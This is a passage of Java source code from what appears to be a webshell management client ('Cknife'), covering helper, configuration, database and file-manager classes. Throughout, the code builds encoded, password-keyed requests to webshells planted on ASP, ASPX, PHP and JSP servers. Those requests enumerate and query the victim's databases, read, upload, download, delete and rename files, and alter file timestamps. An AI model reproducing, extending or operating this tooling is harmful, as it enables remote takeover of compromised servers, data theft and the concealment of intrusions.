Safe.PASS + "=" + args[0] + "&" + Safe.ACTION + "=" 49 | + args[1]; 50 | } else if (args.length == 3) { 51 | params = Safe.PASS + "=" + args[0] + "&" + Safe.ACTION + "=" 52 | + args[1] + "&" + Safe.PARAM1 + "=" + args[2]; 53 | } else if (args.length == 4) { 54 | params = Safe.PASS + "=" + args[0] + "&" + Safe.ACTION + "=" 55 | + args[1] + "&" + Safe.PARAM1 + "=" + args[2] + "&" 56 | + Safe.PARAM2 + "=" + args[3]; 57 | } 58 | return params; 59 | } 60 | 61 | public static String getAbsolutePath(String path) { 62 | int pos = path.lastIndexOf(Safe.SYSTEMSP); 63 | return path.substring(0, pos + 1); 64 | } 65 | 66 | public static String getName(String path) { 67 | 68 | String names[] = path.split("[/\\\\]"); 69 | int len = names.length; 70 | if (len == 0) { 71 | return "/"; 72 | } else { 73 | return names[len - 1]; 74 | } 75 | 76 | } 77 | 78 | public static String autoPath(String path) { 79 | if (!path.endsWith(Safe.SYSTEMSP)) { 80 | path = path + Safe.SYSTEMSP; 81 | } 82 | return path; 83 | } 84 | 85 | public static String getTime() { 86 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 87 | return sdf.format(new Date()); 88 | } 89 | 90 | public static String getIp(String url) { 91 | String ip = ""; 92 | try { 93 | 94 | ip = InetAddress.getByName(new URL(url).getHost()).toString() 95 | .split("/")[1]; 96 | } catch (Exception e) { 97 | 98 | } 99 | return ip; 100 | } 101 | 102 | public static String toHex(byte[] bytes) { 103 | String hexString = "0123456789ABCDEF"; 104 | // 根据默认编码获取字节数组 105 | 106 | StringBuilder sb = new StringBuilder(bytes.length * 2); 107 | // 将字节数组中每个字节拆解成2位16进制整数 108 | for (int i = 0; i < bytes.length; i++) { 109 | sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4)); 110 | sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0)); 111 | } 112 | return sb.toString(); 113 | } 114 | 115 | public static String getProxyStatus() { 116 | try { 117 | if (Safe.PROXY_HOST.equals("") || Safe.PROXY_PORT.equals("") 118 | || Safe.PROXY_TYPE.equals("DIRECT")) { 119 | return "0"; 120 | } else { 121 | return "1"; 122 | } 123 | } catch (Exception e) { 124 | return "0"; 125 | } 126 | } 127 | 128 | public static SocketAddress ProxySocketAddress() { 129 | InetSocketAddress isa = new InetSocketAddress(Safe.PROXY_HOST, 130 | Integer.parseInt(Safe.PROXY_PORT)); 131 | return isa; 132 | } 133 | 134 | public static Proxy.Type ProxyType() { 135 | switch (Safe.PROXY_TYPE) { 136 | case "SOCKS": 137 | return Proxy.Type.SOCKS; 138 | case "HTTP": 139 | return Proxy.Type.HTTP; 140 | case "DIRECT": 141 | return Proxy.Type.DIRECT; 142 | } 143 | return null; 144 | } 145 | 146 | public static void getData() { 147 | String[] datas = Safe.REQUEST_DATA.split("\n"); 148 | for (String data : datas) { 149 | if (!data.equals("")) { 150 | if (data.indexOf(":") < 0) { 151 | data = data + ": "; 152 | } 153 | String[] headers = data.split(":"); 154 | Common.map.put(headers[0], headers[1]); 155 | } 156 | } 157 | } 158 | 159 | public static void RequestHeader(HttpURLConnection huc) { 160 | Set> set = Common.map.entrySet(); 161 | for (Map.Entry header : set) { 162 | huc.setRequestProperty(header.getKey(), header.getValue()); 163 | } 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /src/com/ms509/util/Configuration.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileOutputStream; 6 | import java.util.Collections; 7 | import java.util.Enumeration; 8 | import java.util.LinkedHashSet; 9 | import java.util.Properties; 10 | import java.util.Set; 11 | 12 | public class Configuration { 13 | 14 | private OrderedProperties propertie; 15 | private FileInputStream fis; 16 | private FileOutputStream fos; 17 | 18 | public Configuration() { 19 | propertie = new OrderedProperties(); 20 | } 21 | 22 | private void checkFile() { 23 | 24 | try { 25 | File file = new File("Config.ini"); 26 | if (!file.exists()) { 27 | file.createNewFile(); 28 | } 29 | } catch (Exception e) { 30 | 31 | } 32 | } 33 | 34 | public void setValue(String key, String value) { 35 | try { 36 | this.checkFile(); 37 | fis = new FileInputStream("Config.ini"); 38 | propertie.load(fis); 39 | fis.close(); 40 | propertie.setProperty(key, value); 41 | fos = new FileOutputStream("Config.ini"); 42 | propertie.store(fos, null); 43 | fos.close(); 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | 49 | public String getValue(String key) { 50 | String value = null; 51 | try { 52 | fis = new FileInputStream("Config.ini"); 53 | propertie.load(fis); 54 | fis.close(); 55 | value = propertie.getProperty(key); 56 | } catch (Exception e) { 57 | 58 | } 59 | if(value == null) 60 | { 61 | value = ""; 62 | } 63 | return value; 64 | } 65 | } 66 | 67 | class OrderedProperties extends Properties { 68 | private static final long serialVersionUID = -4627607243846121965L; 69 | private final LinkedHashSet keys = new LinkedHashSet(); 70 | 71 | public Enumeration keys() { 72 | return Collections. enumeration(keys); 73 | } 74 | 75 | public Object put(Object key, Object value) { 76 | keys.add(key); 77 | return super.put(key, value); 78 | } 79 | 80 | public Set keySet() { 81 | return keys; 82 | } 83 | 84 | public Set stringPropertyNames() { 85 | Set set = new LinkedHashSet(); 86 | for (Object key : this.keys) { 87 | set.add((String) key); 88 | } 89 | return set; 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/com/ms509/util/DataBase.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | //数据库语句执行 4 | import java.io.UnsupportedEncodingException; 5 | import java.net.URLEncoder; 6 | import java.nio.charset.UnsupportedCharsetException; 7 | 8 | import javax.swing.JTree; 9 | 10 | import sun.misc.BASE64Encoder; 11 | 12 | public class DataBase { 13 | 14 | private static String dbtype; 15 | private static String dbhost; 16 | private static String dbuser; 17 | private static String dbpass; 18 | private static String dbcode; 19 | private static String dbmaster; 20 | private static String sp; 21 | private static String p1; 22 | private static String params; 23 | 24 | public DataBase() { 25 | // TODO Auto-generated constructor stub 26 | } 27 | 28 | // 初始化配置文件 29 | private static void init(String config, int type) { 30 | dbtype = config.substring(config.indexOf("") + 3, config.indexOf("")); 31 | switch (type) { 32 | case 0:// jsp 33 | if (dbtype.equals("MYSQL") || dbtype.equals("ORACLE")) { // 获取mysql 34 | // oracle数据库配置信息 35 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 36 | dbuser = config.substring(config.indexOf("") + 3, config.indexOf("")); 37 | dbpass = config.substring(config.indexOf("

") + 3, config.indexOf("

")); 38 | dbcode = config.substring(config.indexOf("") + 3, config.indexOf("")); 39 | if (config.indexOf("") > 0) { 40 | dbmaster = config.substring(config.indexOf("") + 3, config.indexOf("")); 41 | } else { 42 | dbmaster = ""; 43 | } 44 | 45 | } 46 | if (dbtype.equals("MSSQL")) { // 获取mssql数据库配置信息 47 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 48 | dbuser = config.substring(config.indexOf("") + 3, config.indexOf("")); 49 | dbpass = config.substring(config.indexOf("

") + 3, config.indexOf("

")); 50 | dbcode = config.substring(config.indexOf("") + 3, config.indexOf("")); 51 | if (config.indexOf("") > 0) { 52 | dbmaster = config.substring(config.indexOf("") + 3, config.indexOf("")); 53 | } else { 54 | dbmaster = ""; 55 | } 56 | } 57 | break; 58 | case 1:// php 59 | if (dbtype.equals("MYSQL")) { // php - mysql 60 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 61 | dbuser = config.substring(config.indexOf("") + 3, config.indexOf("")); 62 | dbpass = config.substring(config.indexOf("

") + 3, config.indexOf("

")); 63 | dbcode = config.substring(config.indexOf("") + 3, config.indexOf("")); 64 | if (config.indexOf("") > 0) { 65 | dbmaster = config.substring(config.indexOf("") + 3, config.indexOf("")); 66 | } else { 67 | dbmaster = ""; 68 | } 69 | } else if (dbtype.equals("MDB") || dbtype.equals("MSSQL")) { // php 70 | // mdb 71 | // mssql 72 | // 暂无 73 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 74 | } 75 | break; 76 | case 2:// asp 77 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 78 | break; 79 | case 3:// aspx 80 | dbhost = config.substring(config.indexOf("") + 3, config.indexOf("")); 81 | break; 82 | } 83 | 84 | } 85 | 86 | // 获取数据库库名 87 | public static String[] getDBs(String url, String pass, String config, int type, String code) { 88 | init(config, type); 89 | String[] result = null; 90 | String rs = null; 91 | switch (type) { 92 | case 0: // JSP 93 | // 先不考虑jsp base64 编码 94 | if (dbtype.equals("MYSQL")) { 95 | p1 = Safe.JSP_DB_MYSQL; 96 | } else if (dbtype.equals("MSSQL")) { 97 | p1 = Safe.JSP_DB_MSSQL; 98 | } else if (dbtype.equals("ORACLE")) { 99 | // oracle 100 | p1 = Safe.JSP_DB_ORACLE; 101 | } 102 | // System.out.println("test"); 103 | p1 = p1.replace("localhost", dbhost).replace("testdb", dbmaster).replace("username", dbuser) 104 | .replace("userpwd", dbpass); 105 | params = pass + "=" + Safe.JSP_MAKE + "&" + Safe.CODE + "=" + dbcode + "&" + Safe.ACTION + "=N" + "&z1=" 106 | + p1 + "&z2=&z3="; 107 | rs = Common.send(url, params, code); 108 | break; 109 | case 1: // php 仅支持mysql 110 | if (Safe.PHP_BASE64.equals("1")) { 111 | String payload = ""; 112 | try { 113 | BASE64Encoder encode = new BASE64Encoder(); 114 | 115 | payload = encode.encode(Safe.PHP_DB_MYSQL.getBytes(code)); 116 | payload = URLEncoder.encode(payload); 117 | } catch (UnsupportedEncodingException e) { 118 | // TODO Auto-generated catch block 119 | e.printStackTrace(); 120 | } 121 | sp = "choraheiheihei"; 122 | String p1 = dbhost + sp + dbuser + sp + dbpass; 123 | String params = pass + "=" + Safe.PHP_MAKE + "&" + Safe.ACTION + "=" + payload + "&z1=" + p1 124 | + "&z2=&z3="; 125 | rs = Common.send(url, params, code); 126 | } else { 127 | 128 | } 129 | break; // 130 | case 2: // asp //读取库名时实际并未连接数据库 131 | if (dbtype.equals("MDB")) { 132 | String dbname = dbhost.substring(dbhost.indexOf("Data Source=") + 12, dbhost.length()); 133 | //System.out.println(dbname); 134 | rs = "" + dbname; 135 | } else if (dbtype.equals("MYSQL")) { 136 | String dname = ""; 137 | dname = dbhost.substring(dbhost.indexOf("database=") + 9, dbhost.length()); 138 | dname = dname.substring(0, dname.indexOf(";")); 139 | rs = exec_sql(url, pass, config, type, code, "show databases;", dname); 140 | } else if (dbtype.equals("MSSQL")) { 141 | if (dbhost.indexOf("SQLOLEDB") > 0) { 142 | rs = "[ado database]"; 143 | } 144 | if (dbhost.indexOf("Driver=") > -1) { 145 | 146 | String sub = dbhost.substring(dbhost.indexOf("Database=") + 9, dbhost.length()); 147 | sub = sub.substring(0, sub.indexOf(";")); 148 | String dname = sub; 149 | rs = exec_sql(url, pass, config, type, code, 150 | "select [name] from master.dbo.sysdatabases order by 1", dname); 151 | rs = rs.substring(rs.indexOf("name\t\\|\t\r\n") + 10, rs.length()); 152 | } 153 | } 154 | 155 | break; // 156 | case 3: // aspx 问题同asp 157 | //System.out.println("aspx"); 158 | // ASPX base64 编码 159 | if (dbtype.equals("MDB")) { 160 | String dbname = dbhost.substring(dbhost.indexOf("Data Source=") + 12, dbhost.indexOf("mdb") + 3); 161 | //System.out.println(dbname); 162 | getTables(url, pass, config, type, code, ""); 163 | rs = "" + dbname; 164 | } else if (dbtype.equals("MYSQL")) { 165 | String dname = ""; 166 | dname = dbhost.substring(dbhost.indexOf("database=") + 9, dbhost.length()); 167 | dname = dname.substring(0, dname.indexOf(";")); 168 | rs = exec_sql(url, pass, config, type, code, "show databases;", dname); 169 | } else if (dbtype.equals("MSSQL")) { 170 | if (dbhost.indexOf("SQLOLEDB") > 0) { 171 | rs = "[ado database]"; 172 | } 173 | if (dbhost.indexOf("Driver=") > -1) { 174 | 175 | String sub = dbhost.substring(dbhost.indexOf("Database=") + 9, dbhost.length()); 176 | sub = sub.substring(0, sub.indexOf(";")); 177 | String dname = sub; 178 | rs = exec_sql(url, pass, config, type, code, 179 | "select [name] from master.dbo.sysdatabases order by 1", dname); 180 | rs = rs.substring(rs.indexOf("name\t\\|\t\r\n") + 10, rs.length()); 181 | } 182 | } else { 183 | rs = "[ado database]"; 184 | getTables(url, pass, config, type, code, ""); 185 | } 186 | break; // aspx 187 | } 188 | result = rs.split("\t\\|\t\r\n"); 189 | return result; 190 | } 191 | 192 | // 获取数据库表名 193 | public static String getTables(String url, String pass, String config, int type, String code, String dbn) { 194 | String s = "show tables from " + dbn; 195 | String result = ""; 196 | switch (type) { 197 | case 0: // jsp 198 | if (dbtype.equals("MDB")) { 199 | result = exec_sql(url, pass, config, type, code, "", dbn); 200 | } else if (dbtype.equals("ORACLE")) { 201 | result = exec_sql(url, pass, config, type, code, "get_tables", dbn); 202 | } else if (dbtype.equals("MSSQL")) { 203 | result = exec_sql(url, pass, config, type, code, 204 | "SELECT [name] FROM sysobjects WHERE (xtype='U') ORDER BY 1", dbn); 205 | } else { 206 | result = exec_sql(url, pass, config, type, code, s, dbn); 207 | } 208 | break; 209 | case 1:// php 210 | if (dbtype.equals("MDB") || dbtype.equals("MSSQL")) { 211 | result = exec_sql(url, pass, config, type, code, "", dbn); 212 | } else { 213 | result = exec_sql(url, pass, config, type, code, s, dbn); 214 | } 215 | break; 216 | case 2:// asp 217 | if (dbtype.equals("MDB")) { 218 | result = exec_sql(url, pass, config, type, code, "", dbn); 219 | } else if (dbhost.indexOf("SQLOLEDB.1") > 0) { 220 | result = exec_sql(url, pass, config, type, code, "", dbn); 221 | } else if (dbhost.indexOf("Sql Server") > 0) { 222 | // params = pass + "=" + Safe.ASP_DB_MSSQL + "&z1=" + p1 + 223 | // "&z2=" + sql + "&z3="; 224 | String sql = "SELECT [name] FROM sysobjects WHERE (xtype='U') ORDER BY 1"; 225 | result = exec_sql(url, pass, config, type, code, sql, dbn); 226 | } else { 227 | result = exec_sql(url, pass, config, type, code, "", dbn); 228 | } 229 | break; 230 | case 3:// aspx 231 | if (dbtype.equals("MDB")) { 232 | result = exec_sql(url, pass, config, type, code, "", dbn); 233 | } else if (dbhost.indexOf("SQLOLEDB.1") > 0) { 234 | result = exec_sql(url, pass, config, type, code, "", dbn); 235 | } else if (dbhost.indexOf("Sql Server") > 0) { 236 | // params = pass + "=" + Safe.ASP_DB_MSSQL + "&z1=" + p1 + 237 | // "&z2=" + sql + "&z3="; 238 | String sql = "SELECT [name] FROM sysobjects WHERE (xtype='U') ORDER BY 1"; 239 | result = exec_sql(url, pass, config, type, code, sql, dbn); 240 | } else { 241 | result = exec_sql(url, pass, config, type, code, "", dbn); 242 | } 243 | 244 | break; 245 | } 246 | return result; 247 | } 248 | 249 | // 执行sql语句 250 | public static String exec_sql(String url, String pass, String config, int type, String code, String sql, 251 | String dbn) { 252 | 253 | init(config, type); 254 | String dbsql = ""; 255 | String result = ""; 256 | 257 | if (dbn.lastIndexOf("\t") == dbn.length()) { 258 | dbn.substring(0, dbn.length() - 1); 259 | } 260 | 261 | switch (type) { 262 | case 0: // jsp 263 | // System.out.println("jsp"); 264 | String action = "Q"; 265 | if (dbtype.equals("MYSQL")) { 266 | p1 = Safe.JSP_DB_MYSQL; 267 | p1 = p1.replace("localhost", dbhost).replace("testdb", dbn).replace("username", dbuser) 268 | .replace("userpwd", dbpass); 269 | 270 | } else if (dbtype.equals("MSSQL")) { 271 | if (sql.equals("get_tables")) { 272 | action = "O"; 273 | } 274 | p1 = Safe.JSP_DB_MSSQL; 275 | p1 = p1.replace("localhost", dbhost).replace("testdb", dbn).replace("username", dbuser) 276 | .replace("userpwd", dbpass); 277 | // System.out.println(p1); 278 | } else if (dbtype.equals("ORACLE")) { 279 | if (sql.equals("get_tables")) { 280 | action = "O"; 281 | } 282 | p1 = Safe.JSP_DB_ORACLE; 283 | p1 = p1.replace("localhost", dbhost).replace("testdb", dbmaster).replace("username", dbuser) 284 | .replace("userpwd", dbpass); 285 | // ORACLE 支持 286 | } 287 | sp = "choraheiheihei"; 288 | params = pass + "=" + Safe.JSP_MAKE + "&" + Safe.CODE + "=" + dbcode + "&" + Safe.ACTION + "=" + action 289 | + "&z1=" + p1 + sp + dbn + "&z2=" + sql + "&z3="; 290 | result = Common.send(url, params, code); 291 | break; // jsp 292 | case 1: // 还需区分数据库类型 php 暂只有mysql 293 | if (Safe.PHP_BASE64.equals("1")) { 294 | // System.out.println("use base 64"); 295 | String payload = ""; 296 | try { 297 | BASE64Encoder encode = new BASE64Encoder(); 298 | 299 | payload = encode.encode(Safe.PHP_DB_MYSQL.getBytes(code)); 300 | payload = URLEncoder.encode(payload); 301 | } catch (UnsupportedEncodingException e) { 302 | // TODO Auto-generated catch block 303 | e.printStackTrace(); 304 | } 305 | try { 306 | BASE64Encoder encode = new BASE64Encoder(); 307 | 308 | dbsql = encode.encode(sql.getBytes(code)); 309 | dbsql = URLEncoder.encode(dbsql); 310 | } catch (UnsupportedEncodingException e) { 311 | // TODO Auto-generated catch block 312 | e.printStackTrace(); 313 | } 314 | sp = "choraheiheihei"; 315 | String p1 = dbhost + sp + dbuser + sp + dbpass; 316 | String params = pass + "=" + Safe.PHP_MAKE + "&" + Safe.ACTION + "=" + payload + "&z1=" + p1 + "&z2=" 317 | + dbn + "&z3=" + dbsql; 318 | result = Common.send(url, params, code); 319 | } 320 | break; // php 321 | case 2: // asp 322 | p1 = dbhost; 323 | try { 324 | BASE64Encoder encode = new BASE64Encoder(); 325 | p1 = toHexString(p1); 326 | p1 = URLEncoder.encode(p1); 327 | sql = toHexString(sql); 328 | sql = URLEncoder.encode(sql); 329 | } catch (Exception e) { 330 | // TODO Auto-generated catch block 331 | e.printStackTrace(); 332 | } 333 | if (dbtype.equals("MDB")) { 334 | params = pass + "=" + Safe.ASP_DB_MDB + "&z1=" + p1 + "&z2=" + sql + "&z3="; 335 | } else if (dbhost.indexOf("SQLOLEDB.1") > 0) { 336 | params = pass + "=" + Safe.ASP_DB_MSSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 337 | } else if (dbhost.indexOf("Sql Server") > 0) { 338 | 339 | if (dbn != "") { 340 | String tmp = "USE [" + dbn + "];"; 341 | tmp = toHexString(tmp); 342 | sql = tmp + sql; 343 | 344 | } 345 | 346 | params = pass + "=" + Safe.ASP_DB_MSSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 347 | } else if (dbtype.equals("MYSQL")) { 348 | params = pass + "=" + Safe.ASP_DB_MSSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 349 | } 350 | result = Common.send(url, params, code); 351 | break; // asp 352 | case 3: // aspx 353 | p1 = dbhost; 354 | try { 355 | BASE64Encoder encode = new BASE64Encoder(); 356 | if (dbhost.indexOf("Sql Server") > 0) { //使用sql server连接模式,需要先指定数据库 357 | 358 | if (dbn != "") { 359 | String tmp = "USE [" + dbn + "];"; 360 | sql = tmp + sql; 361 | 362 | } 363 | } 364 | p1 = encode.encode(p1.getBytes(code)); 365 | p1 = URLEncoder.encode(p1); 366 | sql = encode.encode(sql.getBytes(code)); 367 | sql = URLEncoder.encode(sql); 368 | 369 | } catch (UnsupportedEncodingException e) { 370 | // TODO Auto-generated catch block 371 | e.printStackTrace(); 372 | } 373 | if (dbtype.equals("MDB")) { 374 | params = pass + "=" + Safe.ASPX_DB_MDB + "&z1=" + p1 + "&z2=" + sql + "&z3="; 375 | } else if (dbtype.equals("MSSQL")) { 376 | if (dbhost.indexOf("SQLOLEDB.1") > 0) { 377 | params = pass + "=" + Safe.ASPX_DB_MSSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 378 | } else if (dbhost.indexOf("Sql Server") > 0) { 379 | params = pass + "=" + Safe.ASPX_DB_MSSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 380 | } 381 | // params = pass + "=" + Safe.ASPX_DB_MSSQL + "&z1=" + p1 + 382 | // "&z2=" + sql + "&z3="; 383 | } else if (dbtype.equals("MYSQL")) { 384 | params = pass + "=" + Safe.ASPX_DB_MYSQL + "&z1=" + p1 + "&z2=" + sql + "&z3="; 385 | } 386 | 387 | result = Common.send(url, params, code); 388 | break; // aspx 389 | } 390 | return result; 391 | } 392 | 393 | public static String[] Load_SQL() { 394 | String k = Safe.COMMON_SQL_STRING; 395 | String[] sqls = k.split("\\|\\|\\|"); 396 | return sqls; 397 | } 398 | 399 | // 16进制 转换 400 | private static String toHexString(String s) { 401 | String str = ""; 402 | try { 403 | byte[] b = s.getBytes(); 404 | for (int i = 0; i < b.length; i++) { 405 | Integer I = new Integer(b[i]); 406 | String strTmp = I.toHexString(b[i]); 407 | if (strTmp.length() > 2) 408 | strTmp = strTmp.substring(strTmp.length() - 2); 409 | str = str + strTmp; 410 | } 411 | } catch (Exception e) { 412 | e.printStackTrace(); 413 | } 414 | return str; 415 | } 416 | } 417 | -------------------------------------------------------------------------------- /src/com/ms509/util/DbDao.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.sql.Connection; 4 | import java.sql.DriverManager; 5 | import java.sql.ResultSet; 6 | import java.sql.SQLException; 7 | import java.sql.Statement; 8 | 9 | public class DbDao { 10 | private static DbDao dao; 11 | private String driver; 12 | private String url; 13 | private String user; 14 | private String pass; 15 | private Statement stmt; 16 | private Connection conn; 17 | 18 | public DbDao() { 19 | this.driver = "org.sqlite.JDBC"; 20 | this.url = "jdbc:sqlite:Cknife.db"; 21 | try { 22 | Class.forName(this.driver); 23 | conn = DriverManager.getConnection(this.url); 24 | stmt = conn.createStatement(); 25 | stmt.execute("CREATE TABLE IF NOT EXISTS \"data\" (\"id\" INTEGER NOT NULL,\"url\" TEXT,\"pass\" TEXT,\"config\" TEXT,\"type\" TEXT,\"code\" TEXT,\"ip\" TEXT,\"time\" TEXT,PRIMARY KEY (\"id\"));"); 26 | } catch (Exception e) { 27 | } 28 | } 29 | 30 | public static DbDao getInstance() { 31 | if (dao == null) { 32 | dao = new DbDao(); 33 | } 34 | return dao; 35 | } 36 | 37 | public String getDriver() { 38 | return driver; 39 | } 40 | 41 | public void setDriver(String driver) { 42 | this.driver = driver; 43 | } 44 | 45 | public String getUrl() { 46 | return url; 47 | } 48 | 49 | public void setUrl(String url) { 50 | this.url = url; 51 | } 52 | 53 | public String getUser() { 54 | return user; 55 | } 56 | 57 | public void setUser(String user) { 58 | this.user = user; 59 | } 60 | 61 | public String getPass() { 62 | return pass; 63 | } 64 | 65 | public void setPass(String pass) { 66 | this.pass = pass; 67 | } 68 | 69 | public Statement getStmt() { 70 | return stmt; 71 | } 72 | 73 | public void setStmt(Statement stmt) { 74 | this.stmt = stmt; 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /src/com/ms509/util/FileManager.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.UnsupportedEncodingException; 5 | import java.net.URLEncoder; 6 | import java.util.ArrayList; 7 | import java.util.Arrays; 8 | import java.util.Vector; 9 | 10 | import sun.misc.BASE64Encoder; 11 | 12 | public class FileManager { 13 | 14 | private String url; 15 | private String type; 16 | private String code; 17 | private String action; 18 | private static String kk; 19 | 20 | public FileManager(String url, String pass, String type, String code) { 21 | // TODO Auto-generated constructor stub 22 | this.url = url; 23 | Safe.PASS = pass; // 初始化密码 24 | this.code = code; 25 | this.type = type; 26 | } 27 | 28 | @SuppressWarnings("unused") 29 | private String makeParam1(String path) { 30 | String param1 = ""; 31 | try { 32 | switch (this.type) { 33 | case "ASP(Eval)": 34 | if (Safe.ASP_BASE64.equals("1")) { 35 | BASE64Encoder encode = new BASE64Encoder(); 36 | param1 = encode.encode(path.getBytes(this.code)); 37 | param1 = URLEncoder.encode(param1); 38 | } else { 39 | //现使用16进制 40 | //param1 = URLEncoder.encode(path, this.code); 41 | param1 = toHexString(param1); 42 | } 43 | break; 44 | case "ASPX(Eval)": 45 | try { 46 | //文件内容解码是utf-8,发送请求只能是gb2312 才不乱码, 问题标注============ 47 | param1 = URLEncoder.encode(path,this.code); 48 | } catch (UnsupportedEncodingException e) { 49 | // TODO Auto-generated catch block 50 | e.printStackTrace(); 51 | } 52 | break; 53 | case "PHP(Eval)": 54 | if (Safe.PHP_BASE64.equals("1")) { 55 | BASE64Encoder encode = new BASE64Encoder(); 56 | param1 = encode.encode(path.getBytes(this.code)); 57 | param1 = URLEncoder.encode(param1); 58 | } else { 59 | param1 = URLEncoder.encode(path, this.code); 60 | } 61 | break; 62 | case "JSP(Eval)": 63 | param1 = URLEncoder.encode(path, this.code); 64 | break; 65 | case "Customize": 66 | param1 = URLEncoder.encode(path, this.code); 67 | break; 68 | } 69 | 70 | } catch (Exception e) { 71 | // TODO: handle exception 72 | } 73 | return param1; 74 | } 75 | 76 | @SuppressWarnings("unused") 77 | private String makeParam2(String data) { 78 | String param2 = ""; 79 | try { 80 | switch (this.type) { 81 | case "ASP(Eval)": 82 | param2 = URLEncoder.encode(data, this.code); 83 | break; 84 | case "ASPX(Eval)": 85 | //暂时使用base64 默认编码 86 | BASE64Encoder encode_aspx = new BASE64Encoder(); 87 | try { 88 | //文件内容解码是utf-8,发送请求只能是gb2312 才不乱码, 问题标注============ 89 | param2 = encode_aspx.encode(data.getBytes("GB2312")); 90 | param2 = URLEncoder.encode(param2); 91 | } catch (UnsupportedEncodingException e) { 92 | // TODO Auto-generated catch block 93 | e.printStackTrace(); 94 | } 95 | break; 96 | case "PHP(Eval)": 97 | if (Safe.PHP_BASE64.equals("1") 98 | && !this.action.equals("upload")) {// 特殊情况特殊处理 99 | BASE64Encoder encode = new BASE64Encoder(); 100 | param2 = encode.encode(data.getBytes(this.code)); 101 | param2 = URLEncoder.encode(param2); 102 | } else { 103 | param2 = URLEncoder.encode(data, this.code); 104 | } 105 | break; 106 | case "JSP(Eval)": 107 | param2 = URLEncoder.encode(data, this.code); 108 | break; 109 | case "Customize": 110 | param2 = URLEncoder.encode(data, this.code); 111 | break; 112 | } 113 | } catch (Exception e) { 114 | // TODO: handle exception 115 | } 116 | return param2; 117 | } 118 | 119 | public byte[] Download(String path) { 120 | String params = ""; 121 | switch (this.type) { 122 | case "PHP(Eval)": 123 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_DOWNLOAD, 124 | this.makeParam1(path)); 125 | break; 126 | case "JSP(Eval)": 127 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_DOWNLOAD, 128 | this.makeParam1(path))+"&"+Safe.CODE+"="+this.code; 129 | break; 130 | case "ASP(Eval)": 131 | System.out.println("d"); 132 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_DOWNLOAD)+"&"+Safe.PARAM1+"="+this.makeParam2(path); 133 | //System.out.println(params); 134 | break; 135 | case "ASPX(Eval)": 136 | params = Safe.PASS+"="+Safe.ASPX_DOWNLOAD+"&"+Safe.PARAM1+"="+this.makeParam1(path); 137 | break; 138 | } 139 | return Request.doPost(this.url, params); 140 | } 141 | 142 | public String doAction(String... args) { 143 | String params = ""; 144 | String action = ""; 145 | String path = ""; 146 | String data = ""; 147 | this.action = ""; // 每执行一次重置一次 148 | if (args.length == 1) { 149 | action = args[0]; 150 | } else if (args.length == 2) { 151 | action = args[0]; 152 | path = args[1]; 153 | } else { 154 | action = args[0]; 155 | path = args[1]; 156 | data = args[2]; 157 | } 158 | switch (this.type) { 159 | case "ASP(Eval)": 160 | switch (action) { 161 | case "readindex": 162 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_INDEX); 163 | break; 164 | case "readdict": 165 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_READDICT)+"&"+Safe.PARAM1+"="+toHexString(path); 166 | break; 167 | case "readfile": 168 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_READFILE)+"&"+Safe.PARAM1+"="+toHexString(path); 169 | // System.out.println(params); 170 | break; 171 | case "savefile": 172 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_SAVEFILE)+"&"+Safe.PARAM1+"="+toHexString(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data); 173 | break; 174 | case "addfile": 175 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_SAVEFILE)+"&"+Safe.PARAM1+"="+toHexString(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data); 176 | break; 177 | case "newdict": 178 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_NEWDICT)+"&"+Safe.PARAM1+"="+this.makeParam2(path); 179 | //System.out.println("newfile = "+params); 180 | break; 181 | case "delete": 182 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_DELETE)+"&"+Safe.PARAM1+"="+this.makeParam2(path); 183 | //System.out.println("newfile = "+params); 184 | break; 185 | case "rename": 186 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_RENAME)+"&"+Safe.PARAM1+"="+this.makeParam2(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data); 187 | break; 188 | case "retime": 189 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_RETIME)+"&"+Safe.PARAM1+"="+this.makeParam2(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data); 190 | break; 191 | case "upload": 192 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_UPLOAD)+"&"+Safe.PARAM1+"="+toHexString(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data)+"&z3=0"; 193 